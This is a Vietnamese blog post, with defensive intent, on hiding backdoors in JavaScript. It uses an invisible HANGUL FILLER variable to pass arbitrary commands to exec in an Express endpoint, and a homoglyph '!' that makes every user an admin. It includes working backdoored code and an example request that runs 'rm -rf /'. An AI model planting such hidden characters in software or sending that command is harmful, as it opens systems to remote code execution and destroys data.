Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

Những mẩu tin ngắn hàng ngày dành cho bạn
  • Hẳn là nhiều người ở đây đã nghe đến kiểu tấn công bảo mật Clickjacking rồi nhỉ. Kẻ tấn công thường nhúng một website (thường là mục tiêu) vào trong một iframe trên website của chúng, sau đó làm mờ hoặc ẩn nó đi rồi đặt vào vị trí các nút bấm trên web, ví dụ "Bấm vào để nhận quà". Đâu ai ngờ rằng phía trên nút bấm đó là một nút bấm khác trong iframe. Khá nguy hiểm!

    Nhưng trình duyệt đã có cách ngăn chặn kiểu tấn công này bằng các quy tắc như tiêu đề X-Frame-Options, frame-ancestors của CSP và SameSite: Lax/Strict của Cookies...

    Mới đây, đã xuất hiện thêm kiểu tấn công mới - "DoubleClickjacking" 😨. Đại ý là "hắn" lợi dụng hành động double click để lừa người dùng bấm vào một nút mà hắn muốn. Chi tiết hơn trong bài viết này: DoubleClickjacking: A New Era of UI Redressing.

    » Xem thêm
  • Mọi người đã nghe nói đến Jujutsu - jj - một dạng quản lý phiên bản cho mã nguồn (version control system) chưa? Có vẻ như nó đang nhận được nhiều sự quan tâm.

    Chờ xíu! Chẳng phải git đã quá tốt rồi sao? Thế thì chế ra thằng jj để làm gì nữa? Cũng hơi khó trả lời nhỉ? Mỗi công cụ sinh ra chắc chắn phải cải thiện hoặc khắc phục được nhược điểm của cái trước. Cho nên jj ắt hẳn phải làm được điều gì đó mà git chưa làm được nên mới nổi lên như vậy.

    Thật ra mình đã nghe nói đến jj từ vài tháng trước rồi, nhưng vào đọc thì toàn kiến thức cao siêu. Hoặc là đang mang nặng cái lối suy nghĩ của git vào trong đầu rồi nên chưa lĩnh hội ra được điều gì cả.

    Mình hay có kiểu cái gì đọc lần 1 mà không hiểu thì đọc tiếp lần 2, lần 2 không hiểu thì đọc tiếp lần 3... đến lần thứ n mà vẫn không hiểu thì bỏ. Cơ mà không phải là từ bỏ mà một thời gian sau đó quay lại đọc tiếp. Đến một lúc nào đó khả năng mình sẽ hiểu ra một ít vấn đề, thế mới tài 😆.

    Thì cái jj này có vẻ như nó đang mở ra được tính linh hoạt trong việc "cam kết" mã. Tưởng tượng bạn đang làm việc trên một dự án, đang ở nhánh này, muốn sang nhánh khác để sửa, nhưng mà lại đang viết dở ở nhánh này, thế là phải stash, rồi checkout, rồi commit, rồi merge hoặc rebase lại vào nhánh cũ... nhìn chung quá trình làm việc với git nghiêm ngặt đến mức cứng nhắc, cần nhiều thao tác để giải quyết một vấn đề, chưa kể cái cây commit (commit-tree) nữa thì ôi thôi, khỏi xem cho đỡ nhức mắt. Thế nên ông jj này đang làm cách nào đó để bạn khỏi cần phải quan tâm đến các nhánh luôn, sửa trực tiếp vào commit. Nghe ảo nhỉ 😂.

    Đấy mới lĩnh hội được đến đấy, hy vọng sau n lần đọc lại nữa mình sẽ viết được một bài chi tiết hơn về công cụ này.

    » Xem thêm
  • Gòi gòi tới công chiện gòi 🤤🤤🤤

    » Xem thêm

Vấn đề

Backdoor là phương pháp vượt qua khả năng xác thực thông thường hoặc nhằm mục đích tạo một "cửa hậu" nhằm truy nhập từ xa tới hệ thống phần mềm mà không cần xác thực thông tin theo cách thông thường. Chúng cố gắng để không bị phát hiện bởi việc giám sát thông thường như review code, logging... Hãy thử tưởng tượng, bạn phụ trách phát triển một hệ thống API nhưng lại khéo léo tạo một endpoint mà không một ai biết ngoài bạn, qua đó để đánh cắp thông tin người dùng trong hệ thống một cách dễ dàng.

Vì lẽ đó, backdoor sẽ tàn phá hoặc gây thiệt hại nghiêm trọng đến hệ thống bởi khả năng "tiềm ẩn" và rất khó bị phát hiện của nó. Đâu ai biết backdoor liệu có trong hệ thống của mình không, liệu nó có đánh cắp hay sửa đổi dữ liệu hay không. Nói tóm lại không dễ dàng để tạo ra backdoor mà không bị phát hiện nhưng một khi bị qua mặt thì thiệt hại là không thể tưởng tượng.

Với vai trò là người viết mã, bạn có thể vô tình hay cố ý tạo ra backdoor trong ứng dụng đang phát triển, với một vài thủ thuật "cực kì tinh vi" mà tôi sắp kể ra dưới đây. Dĩ nhiên, nếu bạn là người soát mã thì cũng nên biết để "lật mặt" những kẻ có hành vi vô cùng đáng trách này.

Invisible Character Attacks

Ký tự "ㅤ" (tương đương 0x3164 ở dạng hex) được gọi là "HANGUL FILLER". Nếu lướt qua, nó như một dấu cách hoặc khoảng trắng vô hại, vì thế còn gọi là ký tự "vô hình". Nhưng thực ra, ký tự này được coi là một chữ cái nên nó có thể đặt tên được cho một biến trong Javascript.

const ㅤ = "hello world";
console.log(ㅤ); // hello world

Lợi dụng tính chất này, nó có thể khéo léo sử dụng trong trường hợp giống như dưới đây.

const express = require("express");
const util = require("util");
const exec = util.promisify(require("child_process").exec);

const app = express();

app.get("/network_health", async (req, res) => {
  const { timeout, ㅤ } = req.query;
  const checkCommands = [
    "ping -c 1 google.com",
    "curl -s http://example.com/",ㅤ
  ];

  try {
    await Promise.all(
      checkCommands.map(
        (cmd) => cmd && exec(cmd, { timeout: +timeout || 5_000 })
      )
    );
    res.status(200);
    res.send("ok");
  } catch (e) {
    res.status(500);
    res.send("failed");
  }
});

app.listen(8080);

Thoạt nhìn, đây là một API có duy nhất một endpoint network_health. Khi gọi đến, nó thực hiện 2 lệnh pingcurl. Hãy dành một ít thời gian xem bạn có phát hiện ra được điều gì bất thường trong đoạn mã bên trên không?

Hãy nhìn vào dòng 8:

const { timeout, ㅤ } = req.query;

Chà có vẻ sau biến timeout là một cái gì đó. Đúng, nó là kí tự "HANGUL FILLER". Điều này đồng nghĩa với việc kẻ tấn công đang cố khai báo một biến là kí tự "HANGUL FILLER".

Nhìn tiếp vào dòng 11. Ở cuối dòng trông có vẻ đã kết thúc nhưng thực chất sau dấu phẩy là biến "HANGUL FILLER" đã khai báo. Như vậy nếu trong req.query có thuộc tính "HANGUL FILLER" thì command đó sẽ được thực thi.

Một truy vấn đến endpoint dính backdoor có thể trông như thế này:

GET - /network_health?%E3%85%A4%3Drm%20-rf%20%2F

Diễn dãi cho dễ nhìn thì nó tương đương:

GET - /network_health?ㅤ = rm -rf /

Có nghĩa là một câu lệnh rm -rf / được kích hoạt. Nó sẽ xóa toàn bộ máy chủ.

Homoglyph Attacks

Homoglyph Attacks là kiểu tấn công sử dụng các kí tự Unicode trông rất giống với các toán tử. Từ đó gây nhầm lẫn về một phép logic tưởng chừng bình thường nhưng thực tế là không phải.

const [ENV_PROD, ENV_DEV] = ["PRODUCTION", "DEVELOPMENT"];

const environment = "PRODUCTION";

function isUserAdmin(user) {
  if ((environmentǃ=ENV_PROD)) {
    return true;
  }

  return false;
}

Hàm isUserAdmin kiểm tra xem một user có phải là Admin hay không dựa vào biến môi trường environment. Nếu environment không phải là "PRODUCTION" thì mặc định tất cả đều là Admin.

Ý tưởng là thế nhưng hãy nhìn vào dòng số 6.

if ((environmentǃ=ENV_PROD)) {

Thực chất kí tự "ǃ" không phải là dấu "!" trong biểu thức logic, mà nó là một kí tự Unicode trông rất giống với dấu "chấm than". Vì lẽ đó, biểu thức trong lệnh if này không phải là một phép logic nữa mà là một phép gán environmentǃ = ENV_PROD. Do đó if luôn là true và tất cả người dùng dù trong môi trường nào đều là Admin.

Có nhiều ký tự khác trông giống với ký tự được sử dụng trong mã mà có thể được sử dụng tương tự như trường hợp trên. Ví dụ: "/", "−", "+", "⩵", "❨", "⫽", "꓿" , "∗"). Unicode gọi những ký tự này là "có thể gây nhầm lẫn".

Làm thế nào để ngăn chặn?

Việc sử dụng Unicode để tạo backdoor không phải là một ý tưởng mới. Tuy nhiên, những thủ thuật này khá gọn gàng, gây nhầm lẫn và thiếu sót. Đó là lý do tại sao bạn cần biết đến sự tồn tại của chúng để nâng cao cảnh giác.

Bạn nên ghi nhớ thủ thuật này khi thực hiện đánh giá mã (review code) từ những người đóng góp (contributor) không xác định hoặc không đáng tin cậy. Điều này đặc biệt phù hợp với các dự án mã nguồn mở vì chúng thường xuyên được đóng góp từ các nhà phát triển "hoàn toàn xa lạ".

Nếu có thể, hãy chỉ sử dụng kí tự trong bảng mã ASCII. Nhiều nhóm phát triển chọn tiếng Anh làm ngôn ngữ phát triển chính. Thiết lập công cụ cảnh báo mã không phù hợp với quy tắc để hạn chế các kiểu tấn công trên.

VSCode đã phát hành một tính năng trong bản cập nhật 1.63 làm nổi bật các ký tự vô hình và các ký tự khó hiểu: https://code.visualstudio.com/updates/v1_63#_unicode-highlighting.

Unicode thì đang thành lập một nhóm để điều tra các vấn đề giả mạo mã nguồn: http://blog.unicode.org/2022/03/avoiding-source-code-spoofing.html.

Tham khảo:

Cao cấp
Hello

5 bài học sâu sắc

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Mỗi sản phẩm đi kèm với những câu chuyện. Thành công của người khác là nguồn cảm hứng cho nhiều người theo sau. 5 bài học rút ra được đã thay đổi con người tôi mãi mãi. Còn bạn? Hãy bấm vào ngay!

Xem tất cả

Đăng ký nhận thông báo bài viết mới

hoặc
* Bản tin tổng hợp được gửi mỗi 1-2 tuần, huỷ bất cứ lúc nào.

Bình luận (0)

Nội dung bình luận...
Bấm hoặc cuộn mạnh để sang bài mới